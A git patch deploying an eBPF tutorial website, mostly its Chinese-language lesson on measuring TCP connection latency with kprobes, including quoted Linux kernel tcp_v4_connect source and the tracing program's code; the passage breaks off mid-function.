From 35f3c979121f01551640b2681212b73b9bf6bda2 Mon Sep 17 00:00:00 2001 From: yunwei37 <1067852565@qq.com> Date: Sat, 3 Jun 2023 15:42:19 +0000 Subject: [PATCH] =?UTF-8?q?Deploying=20to=20gh-pages=20from=20@=20eunomia-?= =?UTF-8?q?bpf/bpf-developer-tutorial@6be4e577f6d40e392ca4562e8449c77e0c75?= =?UTF-8?q?70b0=20=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 0-introduce/index.html | 2 +- 1-helloworld/index.html | 2 +- 10-hardirqs/index.html | 2 +- 11-bootstrap/index.html | 2 +- 13-tcpconnlat/index.html | 553 ++++- 13-tcpconnlat/tcpconnlat.c | 1 - 13-tcpconnlat/tcpconnlat.html | 2 +- 14-tcpstates/index.html | 295 ++- 14-tcpstates/tcpstates.c | 258 -- 15-javagc/.gitignore | 9 + 15-javagc/Makefile | 141 ++ 15-javagc/javagc.bpf.c | 81 + 15-javagc/javagc.c | 243 ++ 15-javagc/javagc.h | 12 + 15-javagc/tests/HelloWorld.java | 15 + 15-javagc/tests/Makefile | 3 + 15-tcprtt/index.html | 2 +- 16-memleak/.gitignore | 8 + 16-memleak/Makefile | 141 ++ 16-memleak/core_fixes.bpf.h | 169 ++ 16-memleak/index.html | 525 +++-- 16-memleak/maps.bpf.h | 26 + 16-memleak/memleak.bpf.c | 4 +- 16-memleak/memleak.c | 1067 +++++++++ 16-memleak/trace_helpers.c | 1202 ++++++++++ 16-memleak/trace_helpers.h | 104 + 17-biopattern/.gitignore | 8 + 17-biopattern/Makefile | 145 ++ 17-biopattern/biopattern.bpf.c | 57 + 17-biopattern/biopattern.c | 239 ++ 17-biopattern/biopattern.h | 14 + 17-biopattern/core_fixes.bpf.h | 169 ++ 17-biopattern/index.html | 2 +- 17-biopattern/maps.bpf.h | 26 + 17-biopattern/trace_helpers.c | 452 ++++ 17-biopattern/trace_helpers.h | 104 + 18-further-reading/index.html | 2 +- 19-lsm-connect/index.html | 7 +- 2-kprobe-unlink/index.html | 4 +- 20-tc/index.html | 11 +- 22-android/index.html | 332 +++ 23-http/index.html | 200 ++ 23-http/main.go | 103 + 23-http/sourcecode.c | 497 ++++ 24-hide/.gitignore | 10 + 24-hide/LICENSE | 29 + 24-hide/Makefile | 141 ++ 24-hide/common.h | 14 + 24-hide/index.html | 560 +++++ 24-hide/pidhide.bpf.c | 208 ++ 24-hide/pidhide.c | 252 ++ 25-signal/.gitignore | 9 + 25-signal/LICENSE | 29 + 25-signal/Makefile | 141 ++ 25-signal/bpfdos.bpf.c | 49 + 25-signal/bpfdos.c | 129 + 25-signal/common.h | 14 + 25-signal/common_um.h | 96 + 25-signal/index.html | 213 ++ 26-sudo/.gitignore | 9 + 26-sudo/LICENSE | 29 + 26-sudo/Makefile | 141 ++ 26-sudo/common.h | 37 + 26-sudo/common_um.h | 96 + 26-sudo/index.html | 211 ++ 26-sudo/sudoadd.bpf.c | 215 ++ 26-sudo/sudoadd.c | 175 ++ 27-replace/.gitignore | 9 + 27-replace/LICENSE | 29 + 27-replace/Makefile | 141 ++ 27-replace/common.h | 39 + 27-replace/index.html | 219 ++ 27-replace/replace.bpf.c | 333 +++ 27-replace/replace.c | 269 +++ 28-detach/.gitignore | 9 + 28-detach/LICENSE | 29 + 28-detach/Makefile | 141 ++ 28-detach/index.html | 232 ++ 28-detach/textreplace2.bpf.c | 384 +++ 28-detach/textreplace2.c | 505 ++++ 28-detach/textreplace2.h | 35 + 29-sockops/.gitignore | 8 + 29-sockops/bpf_redir.c | 27 + 29-sockops/bpf_sockops.c | 52 + 29-sockops/bpf_sockops.h | 168 ++ 29-sockops/envoy/Dockerfile | 3 + 29-sockops/envoy/envoy.yaml | 30 + 29-sockops/index.html | 245 ++ 29-sockops/load.sh | 20 + 29-sockops/merbridge.png | Bin 0 -> 208102 bytes 29-sockops/trace.sh | 2 + 29-sockops/unload.sh | 13 + 3-fentry-unlink/index.html | 4 +- 4-opensnoop/index.html | 4 +- 404.html | 2 +- 5-uprobe-bashreadline/index.html | 4 +- 6-sigsnoop/index.html | 4 +- 7-execsnoop/index.html | 4 +- 8-exitsnoop/index.html | 2 +- 9-runqlat/index.html | 50 +- bcc-documents/kernel-versions.html | 6 +- bcc-documents/kernel_config.html | 2 +- bcc-documents/reference_guide.html | 2 +- bcc-documents/special_filtering.html | 2 +- bcc-documents/tutorial.html | 2 +- .../tutorial_bcc_python_developer.html | 2 +- index.html | 2 +- print.html | 2081 ++++++++++++++--- searchindex.js | 2 +- searchindex.json | 2 +- 110 files changed, 14135 insertions(+), 1032 deletions(-) create mode 100644 15-javagc/.gitignore create mode 100644 15-javagc/Makefile create mode 100644 15-javagc/javagc.bpf.c create mode 100644 15-javagc/javagc.c create mode 100644 15-javagc/javagc.h create mode 100644 15-javagc/tests/HelloWorld.java create mode 100644 15-javagc/tests/Makefile create mode 100644 16-memleak/.gitignore create mode 100644 16-memleak/Makefile create mode 100644 16-memleak/core_fixes.bpf.h create mode 100644 16-memleak/maps.bpf.h create mode 100644 16-memleak/memleak.c create mode 100644 16-memleak/trace_helpers.c create mode 100644 16-memleak/trace_helpers.h create mode 100644 17-biopattern/.gitignore create mode 100644 17-biopattern/Makefile create mode 100644 17-biopattern/biopattern.bpf.c create mode 100644 17-biopattern/biopattern.c create mode 100644 17-biopattern/biopattern.h create mode 100644 17-biopattern/core_fixes.bpf.h create mode 100644 17-biopattern/maps.bpf.h create mode 100644 17-biopattern/trace_helpers.c create mode 100644 17-biopattern/trace_helpers.h create mode 100644 22-android/index.html create mode 100644 23-http/index.html create mode 100644 23-http/main.go create mode 100644 23-http/sourcecode.c create mode 100644 24-hide/.gitignore create mode 100644 24-hide/LICENSE create mode 100644 24-hide/Makefile create mode 100644 24-hide/common.h create mode 100644 24-hide/index.html create mode 100644 24-hide/pidhide.bpf.c create mode 100644 24-hide/pidhide.c create mode 100644 25-signal/.gitignore create mode 100644 25-signal/LICENSE create mode 100644 25-signal/Makefile create mode 100644 25-signal/bpfdos.bpf.c create mode 100644 25-signal/bpfdos.c create mode 100644 25-signal/common.h create mode 100644 25-signal/common_um.h create mode 100644 25-signal/index.html create mode 100644 26-sudo/.gitignore create mode 100644 26-sudo/LICENSE create mode 100644 26-sudo/Makefile create mode 100644 26-sudo/common.h create mode 100644 26-sudo/common_um.h create mode 100644 26-sudo/index.html create mode 100644 26-sudo/sudoadd.bpf.c create mode 100644 26-sudo/sudoadd.c create mode 100644 27-replace/.gitignore create mode 100644 27-replace/LICENSE create mode 100644 27-replace/Makefile create mode 100644 27-replace/common.h create mode 100644 27-replace/index.html create mode 100644 27-replace/replace.bpf.c create mode 100644 27-replace/replace.c create mode 100644 28-detach/.gitignore create mode 100644 28-detach/LICENSE create mode 100644 28-detach/Makefile create mode 100644 28-detach/index.html create mode 100644 28-detach/textreplace2.bpf.c create mode 100644 28-detach/textreplace2.c create mode 100644 28-detach/textreplace2.h create mode 100644 29-sockops/.gitignore create mode 100644 29-sockops/bpf_redir.c create mode 100644 29-sockops/bpf_sockops.c create mode 100644 29-sockops/bpf_sockops.h create mode 100644 29-sockops/envoy/Dockerfile create mode 100644 29-sockops/envoy/envoy.yaml create mode 100644 29-sockops/index.html create mode 100755 29-sockops/load.sh create mode 100644 29-sockops/merbridge.png create mode 100755 29-sockops/trace.sh create mode 100755 29-sockops/unload.sh diff --git a/0-introduce/index.html b/0-introduce/index.html index 8cfa96d..22b9936 100644 --- a/0-introduce/index.html +++ b/0-introduce/index.html @@ -83,7 +83,7 @@ diff --git a/1-helloworld/index.html b/1-helloworld/index.html index 4c4e124..0290add 100644 --- a/1-helloworld/index.html +++ b/1-helloworld/index.html @@ -83,7 +83,7 @@ diff --git a/10-hardirqs/index.html b/10-hardirqs/index.html index 51ea540..fa60724 100644 --- a/10-hardirqs/index.html +++ b/10-hardirqs/index.html @@ -83,7 +83,7 @@ diff --git a/11-bootstrap/index.html b/11-bootstrap/index.html index a2c1f74..7fc14e9 100644 --- a/11-bootstrap/index.html +++ b/11-bootstrap/index.html @@ -83,7 +83,7 @@ diff --git a/13-tcpconnlat/index.html b/13-tcpconnlat/index.html index 8101e68..c973a72 100644 --- a/13-tcpconnlat/index.html +++ b/13-tcpconnlat/index.html @@ -83,7 +83,7 @@ @@ -144,38 +144,37 @@
-

eBPF入门实践教程:使用 libbpf-bootstrap 开发程序统计 TCP 连接延时

+

eBPF入门开发实践教程十三:统计 TCP 连接延时,并使用 libbpf 在用户态处理数据

+

eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具,被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。

+

本文是 eBPF 入门开发实践教程的第十三篇,主要介绍如何使用 eBPF 统计 TCP 连接延时,并使用 libbpf 在用户态处理数据。

背景

-

在互联网后端日常开发接口的时候中,不管你使用的是C、Java、PHP还是Golang,都避免不了需要调用mysql、redis等组件来获取数据,可能还需要执行一些rpc远程调用,或者再调用一些其它restful api。 在这些调用的底层,基本都是在使用TCP协议进行传输。这是因为在传输层协议中,TCP协议具备可靠的连接,错误重传,拥塞控制等优点,所以目前应用比UDP更广泛一些。但相对而言,tcp 连接也有一些缺点,例如建立连接的延时较长等。因此也会出现像 QUIC ,即 快速UDP网络连接 ( Quick UDP Internet Connections )这样的替代方案。

-

tcp 连接延时分析对于网络性能分析优化或者故障排查都能起到不少作用。

-

tcpconnlat 的实现原理

-

tcpconnlat 这个工具跟踪执行活动TCP连接的内核函数(例如,通过connect()系统调用),并显示本地测量的连接的延迟(时间),即从发送 SYN 到响应包的时间。

-

tcp 连接原理

-

tcp 连接的整个过程如图所示:

-

tcpconnlate

-

在这个连接过程中,我们来简单分析一下每一步的耗时:

+

在进行后端开发时,不论使用何种编程语言,我们都常常需要调用 MySQL、Redis 等数据库,或执行一些 RPC 远程调用,或者调用其他的 RESTful API。这些调用的底层,通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点,因此在网络传输层协议中,TCP 的应用广泛程度超过了 UDP。然而,TCP 也有一些缺点,如建立连接的延时较长。因此,也出现了一些替代方案,例如 QUIC(Quick UDP Internet Connections,快速 UDP 网络连接)。

+

分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。

+

tcpconnlat 工具概述

+

tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数(如通过 connect() 系统调用),并测量并显示连接延时,即从发送 SYN 到收到响应包的时间。

+

TCP 连接原理

+

TCP 连接的建立过程,常被称为“三次握手”(Three-way Handshake)。以下是整个过程的步骤:

    -
  1. 客户端发出SYNC包:客户端一般是通过connect系统调用来发出 SYN 的,这里牵涉到本机的系统调用和软中断的 CPU 耗时开销
  2. -
  3. SYN传到服务器:SYN从客户端网卡被发出,这是一次长途远距离的网络传输
  4. -
  5. 服务器处理SYN包:内核通过软中断来收包,然后放到半连接队列中,然后再发出SYN/ACK响应。主要是 CPU 耗时开销
  6. -
  7. SYC/ACK传到客户端:长途网络跋涉
  8. -
  9. 客户端处理 SYN/ACK:客户端内核收包并处理SYN后,经过几us的CPU处理,接着发出 ACK。同样是软中断处理开销
  10. -
  11. ACK传到服务器:长途网络跋涉
  12. -
  13. 服务端收到ACK:服务器端内核收到并处理ACK,然后把对应的连接从半连接队列中取出来,然后放到全连接队列中。一次软中断CPU开销
  14. -
  15. 服务器端用户进程唤醒:正在被accpet系统调用阻塞的用户进程被唤醒,然后从全连接队列中取出来已经建立好的连接。一次上下文切换的CPU开销
  16. +
  17. 客户端向服务器发送 SYN 包:客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。
  18. +
  19. SYN 包传送到服务器:这是一次网络传输,涉及到的时间取决于网络延迟。
  20. +
  21. 服务器处理 SYN 包:服务器内核通过软中断接收包,然后将其放入半连接队列,并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。
  22. +
  23. SYN/ACK 包传送到客户端:这是另一次网络传输。
  24. +
  25. 客户端处理 SYN/ACK:客户端内核接收并处理 SYN/ACK 包,然后发送 ACK。这主要涉及软中断处理开销。
  26. +
  27. ACK 包传送到服务器:这是第三次网络传输。
  28. +
  29. 服务器接收 ACK:服务器内核接收并处理 ACK,然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。
  30. +
  31. 唤醒服务器端用户进程:被 accept() 系统调用阻塞的用户进程被唤醒,然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。

在客户端视角,在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下,可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后,就可以结合其他信息进行分析。

-

ebpf 实现原理

-

在 TCP 三次握手的时候,Linux 内核会维护两个队列,分别是:

+

tcpconnlat 的 eBPF 实现

+

为了理解 TCP 的连接建立过程,我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列:

-

服务端收到客户端发起的 SYN 请求后,内核会把该连接存储到半连接队列,并向客户端响应 SYN+ACK,接着客户端会返回 ACK,服务端收到第三次握手的 ACK 后,内核会把连接从半连接队列移除,然后创建新的完全的连接,并将其添加到 accept 队列,等待进程调用 accept 函数时把连接取出来。

-

我们的 ebpf 代码实现在 https://github.com/yunwei37/Eunomia/blob/master/bpftools/tcpconnlat/tcpconnlat.bpf.c 中:

-

它主要使用了 trace_tcp_rcv_state_process 和 kprobe/tcp_v4_connect 这样的跟踪点:

-

-SEC("kprobe/tcp_v4_connect")
+

理解了这两个队列的用途,我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分,其中包括了几个主要的跟踪点:tcp_v4_connect, tcp_v6_connecttcp_rcv_state_process

+

这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时,这些跟踪点会被激活,从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。

+

让我们先来看一下这些挂载点的源代码:

+
SEC("kprobe/tcp_v4_connect")
 int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
 {
  return trace_connect(sk);
@@ -193,76 +192,456 @@ int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
  return handle_tcp_rcv_state_process(ctx, sk);
 }
 
-

在 trace_connect 中,我们跟踪新的 tcp 连接,记录到达时间,并且把它加入 map 中:

-
struct {
- __uint(type, BPF_MAP_TYPE_HASH);
- __uint(max_entries, 4096);
- __type(key, struct sock *);
- __type(value, struct piddata);
+

这段代码展示了三个内核探针(kprobe)的定义。tcp_v4_connecttcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发,调用 trace_connect() 函数,而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发,调用 handle_tcp_rcv_state_process() 函数。

+

接下来的部分将分为两大块:一部分是对这些挂载点内核态部分的分析,我们将解读内核源代码来详细说明这些函数如何工作;另一部分是用户态的分析,将关注 eBPF 程序如何收集这些挂载点的数据,以及如何与用户态程序进行交互。

+

tcp_v4_connect 函数解析

+

tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后,接着通过connect系统调用尝试连接到远程服务器,此时就会触发tcp_v4_connect函数。

+
/* This will initiate an outgoing connection. */
+int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
+{
+  struct sockaddr_in *usin = (struct sockaddr_in *)uaddr;
+  struct inet_timewait_death_row *tcp_death_row;
+  struct inet_sock *inet = inet_sk(sk);
+  struct tcp_sock *tp = tcp_sk(sk);
+  struct ip_options_rcu *inet_opt;
+  struct net *net = sock_net(sk);
+  __be16 orig_sport, orig_dport;
+  __be32 daddr, nexthop;
+  struct flowi4 *fl4;
+  struct rtable *rt;
+  int err;
+
+  if (addr_len < sizeof(struct sockaddr_in))
+    return -EINVAL;
+
+  if (usin->sin_family != AF_INET)
+    return -EAFNOSUPPORT;
+
+  nexthop = daddr = usin->sin_addr.s_addr;
+  inet_opt = rcu_dereference_protected(inet->inet_opt,
+               lockdep_sock_is_held(sk));
+  if (inet_opt && inet_opt->opt.srr) {
+    if (!daddr)
+      return -EINVAL;
+    nexthop = inet_opt->opt.faddr;
+  }
+
+  orig_sport = inet->inet_sport;
+  orig_dport = usin->sin_port;
+  fl4 = &inet->cork.fl.u.ip4;
+  rt = ip_route_connect(fl4, nexthop, inet->inet_saddr,
+            sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport,
+            orig_dport, sk);
+  if (IS_ERR(rt)) {
+    err = PTR_ERR(rt);
+    if (err == -ENETUNREACH)
+      IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES);
+    return err;
+  }
+
+  if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) {
+    ip_rt_put(rt);
+    return -ENETUNREACH;
+  }
+
+  if (!inet_opt || !inet_opt->opt.srr)
+    daddr = fl4->daddr;
+
+  tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row;
+
+  if (!inet->inet_saddr) {
+    err = inet_bhash2_update_saddr(sk,  &fl4->saddr, AF_INET);
+    if (err) {
+      ip_rt_put(rt);
+      return err;
+    }
+  } else {
+    sk_rcv_saddr_set(sk, inet->inet_saddr);
+  }
+
+  if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) {
+    /* Reset inherited state */
+    tp->rx_opt.ts_recent    = 0;
+    tp->rx_opt.ts_recent_stamp = 0;
+    if (likely(!tp->repair))
+      WRITE_ONCE(tp->write_seq, 0);
+  }
+
+  inet->inet_dport = usin->sin_port;
+  sk_daddr_set(sk, daddr);
+
+  inet_csk(sk)->icsk_ext_hdr_len = 0;
+  if (inet_opt)
+    inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen;
+
+  tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT;
+
+  /* Socket identity is still unknown (sport may be zero).
+   * However we set state to SYN-SENT and not releasing socket
+   * lock select source port, enter ourselves into the hash tables and
+   * complete initialization after this.
+   */
+  tcp_set_state(sk, TCP_SYN_SENT);
+  err = inet_hash_connect(tcp_death_row, sk);
+  if (err)
+    goto failure;
+
+  sk_set_txhash(sk);
+
+  rt = ip_route_newports(fl4, rt, orig_sport, orig_dport,
+             inet->inet_sport, inet->inet_dport, sk);
+  if (IS_ERR(rt)) {
+    err = PTR_ERR(rt);
+    rt = NULL;
+    goto failure;
+  }
+  /* OK, now commit destination to socket.  */
+  sk->sk_gso_type = SKB_GSO_TCPV4;
+  sk_setup_caps(sk, &rt->dst);
+  rt = NULL;
+
+  if (likely(!tp->repair)) {
+    if (!tp->write_seq)
+      WRITE_ONCE(tp->write_seq,
+           secure_tcp_seq(inet->inet_saddr,
+              inet->inet_daddr,
+              inet->inet_sport,
+              usin->sin_port));
+    tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr,
+             inet->inet_daddr);
+  }
+
+  inet->inet_id = get_random_u16();
+
+  if (tcp_fastopen_defer_connect(sk, &err))
+    return err;
+  if (err)
+    goto failure;
+
+  err = tcp_connect(sk);
+
+  if (err)
+    goto failure;
+
+  return 0;
+
+failure:
+  /*
+   * This unhashes the socket and releases the local port,
+   * if necessary.
+   */
+  tcp_set_state(sk, TCP_CLOSE);
+  inet_bhash2_reset_saddr(sk);
+  ip_rt_put(rt);
+  sk->sk_route_caps = 0;
+  inet->inet_dport = 0;
+  return err;
+}
+EXPORT_SYMBOL(tcp_v4_connect);
+
+

参考链接:https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340

+

接下来,我们一步步分析这个函数:

+

首先,这个函数接收三个参数:一个套接字指针sk,一个指向套接字地址结构的指针uaddr和地址的长度addr_len

+
int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
+
+

函数一开始就进行了参数检查,确认地址长度正确,而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。

+

接下来,函数获取目标地址,如果设置了源路由选项(这是一个高级的IP特性,通常不会被使用),那么它还会获取源路由的下一跳地址。

+
nexthop = daddr = usin->sin_addr.s_addr;
+inet_opt = rcu_dereference_protected(inet->inet_opt,
+             lockdep_sock_is_held(sk));
+if (inet_opt && inet_opt->opt.srr) {
+  if (!daddr)
+    return -EINVAL;
+  nexthop = inet_opt->opt.faddr;
+}
+
+

然后,使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址,函数返回错误。

+

接下来,它更新了源地址,处理了一些TCP时间戳选项的状态,并设置了目标端口和地址。之后,它更新了一些其他的套接字和TCP选项,并设置了连接状态为SYN-SENT

+

然后,这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败,它会恢复套接字的状态并返回错误。

+

如果前面的步骤都成功了,接着,使用新的源和目标端口来更新路由项。如果这步失败,它会清理资源并返回错误。

+

接下来,它提交目标信息到套接字,并为之后的分段偏移选择一个安全的随机值。

+

然后,函数尝试使用TCP Fast Open(TFO)进行连接,如果不能使用TFO或者TFO尝试失败,它会使用普通的TCP三次握手进行连接。

+

最后,如果上面的步骤都成功了,函数返回成功,否则,它会清理所有资源并返回错误。

+

总的来说,tcp_v4_connect函数是一个处理TCP连接请求的复杂函数,它处理了很多情况,包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open,等等。它的主要目标是尽可能安全和有效地建立TCP连接。

+

内核态代码

+
// SPDX-License-Identifier: GPL-2.0
+// Copyright (c) 2020 Wenbo Zhang
+#include <vmlinux.h>
+#include <bpf/bpf_helpers.h>
+#include <bpf/bpf_core_read.h>
+#include <bpf/bpf_tracing.h>
+#include "tcpconnlat.h"
+
+#define AF_INET    2
+#define AF_INET6   10
+
+const volatile __u64 targ_min_us = 0;
+const volatile pid_t targ_tgid = 0;
+
+struct piddata {
+  char comm[TASK_COMM_LEN];
+  u64 ts;
+  u32 tgid;
+};
+
+struct {
+  __uint(type, BPF_MAP_TYPE_HASH);
+  __uint(max_entries, 4096);
+  __type(key, struct sock *);
+  __type(value, struct piddata);
 } start SEC(".maps");
 
+struct {
+  __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
+  __uint(key_size, sizeof(u32));
+  __uint(value_size, sizeof(u32));
+} events SEC(".maps");
+
 static int trace_connect(struct sock *sk)
 {
- u32 tgid = bpf_get_current_pid_tgid() >> 32;
- struct piddata piddata = {};
+  u32 tgid = bpf_get_current_pid_tgid() >> 32;
+  struct piddata piddata = {};
 
- if (targ_tgid && targ_tgid != tgid)
+  if (targ_tgid && targ_tgid != tgid)
+    return 0;
+
+  bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
+  piddata.ts = bpf_ktime_get_ns();
+  piddata.tgid = tgid;
+  bpf_map_update_elem(&start, &sk, &piddata, 0);
   return 0;
-
- bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
- piddata.ts = bpf_ktime_get_ns();
- piddata.tgid = tgid;
- bpf_map_update_elem(&start, &sk, &piddata, 0);
- return 0;
 }
-
-

在 handle_tcp_rcv_state_process 中,我们跟踪接收到的 tcp 数据包,从 map 从提取出对应的 connect 事件,并且计算延迟:

-
static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
+
+static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
 {
- struct piddata *piddatap;
- struct event event = {};
- s64 delta;
- u64 ts;
+  struct piddata *piddatap;
+  struct event event = {};
+  s64 delta;
+  u64 ts;
 
- if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
-  return 0;
+  if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
+    return 0;
 
- piddatap = bpf_map_lookup_elem(&start, &sk);
- if (!piddatap)
-  return 0;
+  piddatap = bpf_map_lookup_elem(&start, &sk);
+  if (!piddatap)
+    return 0;
 
- ts = bpf_ktime_get_ns();
- delta = (s64)(ts - piddatap->ts);
- if (delta < 0)
-  goto cleanup;
+  ts = bpf_ktime_get_ns();
+  delta = (s64)(ts - piddatap->ts);
+  if (delta < 0)
+    goto cleanup;
 
- event.delta_us = delta / 1000U;
- if (targ_min_us && event.delta_us < targ_min_us)
-  goto cleanup;
- __builtin_memcpy(&event.comm, piddatap->comm,
-   sizeof(event.comm));
- event.ts_us = ts / 1000;
- event.tgid = piddatap->tgid;
- event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
- event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
- event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
- if (event.af == AF_INET) {
-  event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
-  event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
- } else {
-  BPF_CORE_READ_INTO(&event.saddr_v6, sk,
-    __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
-  BPF_CORE_READ_INTO(&event.daddr_v6, sk,
-    __sk_common.skc_v6_daddr.in6_u.u6_addr32);
- }
- bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
-   &event, sizeof(event));
+  event.delta_us = delta / 1000U;
+  if (targ_min_us && event.delta_us < targ_min_us)
+    goto cleanup;
+  __builtin_memcpy(&event.comm, piddatap->comm,
+      sizeof(event.comm));
+  event.ts_us = ts / 1000;
+  event.tgid = piddatap->tgid;
+  event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
+  event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
+  event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
+  if (event.af == AF_INET) {
+    event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
+    event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
+  } else {
+    BPF_CORE_READ_INTO(&event.saddr_v6, sk,
+        __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
+    BPF_CORE_READ_INTO(&event.daddr_v6, sk,
+        __sk_common.skc_v6_daddr.in6_u.u6_addr32);
+  }
+  bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
+      &event, sizeof(event));
 
 cleanup:
- bpf_map_delete_elem(&start, &sk);
- return 0;
+  bpf_map_delete_elem(&start, &sk);
+  return 0;
+}
+
+SEC("kprobe/tcp_v4_connect")
+int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
+{
+  return trace_connect(sk);
+}
+
+SEC("kprobe/tcp_v6_connect")
+int BPF_KPROBE(tcp_v6_connect, struct sock *sk)
+{
+  return trace_connect(sk);
+}
+
+SEC("kprobe/tcp_rcv_state_process")
+int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
+{
+  return handle_tcp_rcv_state_process(ctx, sk);
+}
+
+SEC("fentry/tcp_v4_connect")
+int BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)
+{
+  return trace_connect(sk);
+}
+
+SEC("fentry/tcp_v6_connect")
+int BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)
+{
+  return trace_connect(sk);
+}
+
+SEC("fentry/tcp_rcv_state_process")
+int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)
+{
+  return handle_tcp_rcv_state_process(ctx, sk);
+}
+
+char LICENSE[] SEC("license") = "GPL";
+
+

这个eBPF(Extended Berkeley Packet Filter)程序主要用来监控并收集TCP连接的建立时间,即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。

+

首先,定义了两个eBPF maps:starteventsstart是一个哈希表,用于存储发起连接请求的进程信息和时间戳,而events是一个PERF_EVENT_ARRAY类型的map,用于将事件数据传输到用户态。

+
struct {
+  __uint(type, BPF_MAP_TYPE_HASH);
+  __uint(max_entries, 4096);
+  __type(key, struct sock *);
+  __type(value, struct piddata);
+} start SEC(".maps");
+
+struct {
+  __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
+  __uint(key_size, sizeof(u32));
+  __uint(value_size, sizeof(u32));
+} events SEC(".maps");
+
+

tcp_v4_connecttcp_v6_connect的kprobe处理函数trace_connect中,会记录下发起连接请求的进程信息(进程名、进程ID和当前时间戳),并以socket结构作为key,存储到start这个map中。

+
static int trace_connect(struct sock *sk)
+{
+  u32 tgid = bpf_get_current_pid_tgid() >> 32;
+  struct piddata piddata = {};
+
+  if (targ_tgid && targ_tgid != tgid)
+    return 0;
+
+  bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
+  piddata.ts = bpf_ktime_get_ns();
+  piddata.tgid = tgid;
+  bpf_map_update_elem(&start, &sk, &piddata, 0);
+  return 0;
 }
 
+

当TCP状态机处理到SYN-ACK包,即连接建立的时候,会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中,首先检查socket的状态是否为SYN-SENT,如果是,会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔,将该时间间隔,进程信息,以及TCP连接的详细信息(源端口,目标端口,源IP,目标IP等)作为event,通过bpf_perf_event_output函数发送到用户态。

+
static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
+{
+  struct piddata *piddatap;
+  struct event event = {};
+  s64 delta;
+  u64 ts;
+
+  if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
+    return 0;
+
+  piddatap = bpf_map_lookup_elem(&start, &sk);
+  if (!piddatap)
+    return 0;
+
+  ts = bpf_ktime_get_ns();
+  delta = (s64)(ts - piddatap->ts);
+  if (delta < 0)
+    goto cleanup;
+
+  event.delta_us = delta / 1000U;
+  if (targ_min_us && event.delta_us < targ_min_us)
